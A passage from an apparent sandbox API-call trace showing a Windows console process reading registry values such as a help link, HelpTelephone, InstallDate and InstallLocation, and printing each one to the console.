returned 0x204bb0 [0149.812] GetFileType (hFile=0x50) returned 0x1 [0149.812] lstrlenW (lpString=" ") returned 4 [0149.812] GetConsoleOutputCP () returned 0x1b5 [0149.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.812] GetConsoleOutputCP () returned 0x1b5 [0149.812] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.812] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.812] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.812] __iob_func () returned 0x7fefd702a80 [0149.812] _fileno (_File=0x7fefd702ab0) returned 1 [0149.812] _errno () returned 0x204bb0 [0149.812] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.812] _errno () returned 0x204bb0 [0149.812] GetFileType (hFile=0x50) returned 0x1 [0149.812] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.813] GetConsoleOutputCP () returned 0x1b5 [0149.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.813] GetConsoleOutputCP () returned 0x1b5 [0149.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.813] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.813] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.813] __iob_func () returned 0x7fefd702a80 [0149.813] _fileno (_File=0x7fefd702ab0) returned 1 [0149.813] _errno () returned 0x204bb0 [0149.813] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.813] _errno () returned 0x204bb0 [0149.813] GetFileType (hFile=0x50) returned 0x1 [0149.813] lstrlenW (lpString=" ") returned 4 [0149.813] GetConsoleOutputCP () returned 0x1b5 [0149.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.813] GetConsoleOutputCP () returned 0x1b5 [0149.813] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.813] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.813] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.814] __iob_func () returned 0x7fefd702a80 [0149.814] _fileno (_File=0x7fefd702ab0) returned 1 [0149.814] _errno () returned 0x204bb0 [0149.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.814] _errno () returned 0x204bb0 [0149.814] GetFileType (hFile=0x50) returned 0x1 [0149.814] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0149.814] GetConsoleOutputCP () returned 0x1b5 [0149.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0149.814] GetConsoleOutputCP () returned 0x1b5 [0149.814] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0149.814] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0149.814] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.814] __iob_func () returned 0x7fefd702a80 [0149.814] _fileno (_File=0x7fefd702ab0) returned 1 [0149.814] _errno () returned 0x204bb0 [0149.814] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.814] _errno () returned 0x204bb0 [0149.814] GetFileType (hFile=0x50) returned 0x1 [0149.814] lstrlenW (lpString="\n") returned 1 [0149.814] GetConsoleOutputCP () returned 0x1b5 [0149.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.815] GetConsoleOutputCP () returned 0x1b5 [0149.815] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.815] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.815] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.815] GetProcessHeap () returned 0x3c0000 [0149.815] GetProcessHeap () returned 0x3c0000 [0149.815] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.815] GetProcessHeap () returned 0x3c0000 [0149.815] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.815] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.815] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.815] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.815] GetProcessHeap () returned 0x3c0000 [0149.815] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.815] GetProcessHeap () returned 0x3c0000 [0149.815] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.815] GetProcessHeap () returned 0x3c0000 [0149.815] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.815] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.815] __iob_func () returned 0x7fefd702a80 [0149.815] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.815] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.815] _fileno (_File=0x7fefd702ab0) returned 1 [0149.815] _errno () returned 0x204bb0 [0149.815] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.815] _errno () returned 0x204bb0 [0149.815] GetFileType (hFile=0x50) returned 0x1 [0149.816] lstrlenW (lpString=" ") returned 4 [0149.816] GetConsoleOutputCP () returned 0x1b5 [0149.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.816] GetConsoleOutputCP () returned 0x1b5 [0149.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.816] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.816] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.816] lstrlenW (lpString="HelpTelephone") returned 13 [0149.816] __iob_func () returned 0x7fefd702a80 [0149.816] _fileno (_File=0x7fefd702ab0) returned 1 [0149.816] _errno () returned 0x204bb0 [0149.816] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.816] _errno () returned 0x204bb0 [0149.816] GetFileType (hFile=0x50) returned 0x1 [0149.816] lstrlenW (lpString="HelpTelephone") returned 13 [0149.816] GetConsoleOutputCP () returned 0x1b5 [0149.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.816] GetConsoleOutputCP () returned 0x1b5 [0149.816] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0149.817] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.817] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.817] __iob_func () returned 0x7fefd702a80 [0149.817] _fileno (_File=0x7fefd702ab0) returned 1 [0149.817] _errno () returned 0x204bb0 [0149.817] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.817] _errno () returned 0x204bb0 [0149.817] GetFileType (hFile=0x50) returned 0x1 [0149.817] lstrlenW (lpString=" ") returned 4 [0149.817] GetConsoleOutputCP () returned 0x1b5 [0149.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.817] GetConsoleOutputCP () returned 0x1b5 [0149.817] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.817] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.817] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.817] __iob_func () returned 0x7fefd702a80 [0149.817] _fileno (_File=0x7fefd702ab0) returned 1 [0149.817] _errno () returned 0x204bb0 [0149.817] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.817] _errno () returned 0x204bb0 [0149.817] GetFileType (hFile=0x50) returned 0x1 [0149.817] lstrlenW (lpString="REG_SZ") returned 6 [0149.817] GetConsoleOutputCP () returned 0x1b5 [0149.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.818] GetConsoleOutputCP () returned 0x1b5 [0149.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.818] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.818] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.818] __iob_func () returned 0x7fefd702a80 [0149.818] _fileno (_File=0x7fefd702ab0) returned 1 [0149.818] _errno () returned 0x204bb0 [0149.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.818] _errno () returned 0x204bb0 [0149.818] GetFileType (hFile=0x50) returned 0x1 [0149.818] lstrlenW (lpString=" ") returned 4 [0149.818] GetConsoleOutputCP () returned 0x1b5 [0149.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.818] GetConsoleOutputCP () returned 0x1b5 [0149.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.818] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.818] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.818] __iob_func () returned 0x7fefd702a80 [0149.818] _fileno (_File=0x7fefd702ab0) returned 1 [0149.818] _errno () returned 0x204bb0 [0149.818] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.819] _errno () returned 0x204bb0 [0149.819] GetFileType (hFile=0x50) returned 0x1 [0149.819] lstrlenW (lpString="") returned 0 [0149.819] __iob_func () returned 0x7fefd702a80 [0149.819] _fileno (_File=0x7fefd702ab0) returned 1 [0149.819] _errno () returned 0x204bb0 [0149.819] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.819] _errno () returned 0x204bb0 [0149.819] GetFileType (hFile=0x50) returned 0x1 [0149.819] lstrlenW (lpString="\n") returned 1 [0149.819] GetConsoleOutputCP () returned 0x1b5 [0149.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.819] GetConsoleOutputCP () returned 0x1b5 [0149.819] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.819] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.819] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.819] GetProcessHeap () returned 0x3c0000 [0149.819] GetProcessHeap () returned 0x3c0000 [0149.819] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.819] GetProcessHeap () returned 0x3c0000 [0149.819] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.819] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.819] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.819] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.819] GetProcessHeap () returned 0x3c0000 [0149.819] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0149.820] GetProcessHeap () returned 0x3c0000 [0149.820] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.820] GetProcessHeap () returned 0x3c0000 [0149.820] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.820] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170714", pcbData=0x29f780*=0x12) returned 0x0 [0149.820] __iob_func () returned 0x7fefd702a80 [0149.820] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.820] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.820] _fileno (_File=0x7fefd702ab0) returned 1 [0149.820] _errno () returned 0x204bb0 [0149.820] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.820] _errno () returned 0x204bb0 [0149.820] GetFileType (hFile=0x50) returned 0x1 [0149.820] lstrlenW (lpString=" ") returned 4 [0149.820] GetConsoleOutputCP () returned 0x1b5 [0149.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.820] GetConsoleOutputCP () returned 0x1b5 [0149.820] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.820] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.820] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.820] lstrlenW (lpString="InstallDate") returned 11 [0149.820] __iob_func () returned 0x7fefd702a80 [0149.820] _fileno (_File=0x7fefd702ab0) returned 1 [0149.820] _errno () returned 0x204bb0 [0149.820] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.820] _errno () returned 0x204bb0 [0149.820] GetFileType (hFile=0x50) returned 0x1 [0149.821] lstrlenW (lpString="InstallDate") returned 11 [0149.821] GetConsoleOutputCP () returned 0x1b5 [0149.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.821] GetConsoleOutputCP () returned 0x1b5 [0149.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0149.821] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.821] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.821] __iob_func () returned 0x7fefd702a80 [0149.821] _fileno (_File=0x7fefd702ab0) returned 1 [0149.821] _errno () returned 0x204bb0 [0149.821] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.821] _errno () returned 0x204bb0 [0149.821] GetFileType (hFile=0x50) returned 0x1 [0149.821] lstrlenW (lpString=" ") returned 4 [0149.821] GetConsoleOutputCP () returned 0x1b5 [0149.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.821] GetConsoleOutputCP () returned 0x1b5 [0149.821] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.821] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.821] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.822] __iob_func () returned 0x7fefd702a80 [0149.822] _fileno (_File=0x7fefd702ab0) returned 1 [0149.822] _errno () returned 0x204bb0 [0149.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.822] _errno () returned 0x204bb0 [0149.822] GetFileType (hFile=0x50) returned 0x1 [0149.822] lstrlenW (lpString="REG_SZ") returned 6 [0149.822] GetConsoleOutputCP () returned 0x1b5 [0149.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.822] GetConsoleOutputCP () returned 0x1b5 [0149.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.822] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.822] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.822] __iob_func () returned 0x7fefd702a80 [0149.822] _fileno (_File=0x7fefd702ab0) returned 1 [0149.822] _errno () returned 0x204bb0 [0149.822] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.822] _errno () returned 0x204bb0 [0149.822] GetFileType (hFile=0x50) returned 0x1 [0149.822] lstrlenW (lpString=" ") returned 4 [0149.822] GetConsoleOutputCP () returned 0x1b5 [0149.822] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.823] GetConsoleOutputCP () returned 0x1b5 [0149.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.823] __iob_func () returned 0x7fefd702a80 [0149.823] _fileno (_File=0x7fefd702ab0) returned 1 [0149.823] _errno () returned 0x204bb0 [0149.823] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.823] _errno () returned 0x204bb0 [0149.823] GetFileType (hFile=0x50) returned 0x1 [0149.823] lstrlenW (lpString="20170714") returned 8 [0149.823] GetConsoleOutputCP () returned 0x1b5 [0149.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170714", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.823] GetConsoleOutputCP () returned 0x1b5 [0149.823] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170714", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170714", lpUsedDefaultChar=0x0) returned 8 [0149.823] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.823] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.823] __iob_func () returned 0x7fefd702a80 [0149.823] _fileno (_File=0x7fefd702ab0) returned 1 [0149.823] _errno () returned 0x204bb0 [0149.823] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.823] _errno () returned 0x204bb0 [0149.823] GetFileType (hFile=0x50) returned 0x1 [0149.823] lstrlenW (lpString="\n") returned 1 [0149.824] GetConsoleOutputCP () returned 0x1b5 [0149.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.824] GetConsoleOutputCP () returned 0x1b5 [0149.824] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.824] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.824] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.824] GetProcessHeap () returned 0x3c0000 [0149.824] GetProcessHeap () returned 0x3c0000 [0149.824] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.824] GetProcessHeap () returned 0x3c0000 [0149.824] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.824] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.824] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.824] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.824] GetProcessHeap () returned 0x3c0000 [0149.824] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.824] GetProcessHeap () returned 0x3c0000 [0149.824] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.824] GetProcessHeap () returned 0x3c0000 [0149.824] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.824] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.824] __iob_func () returned 0x7fefd702a80 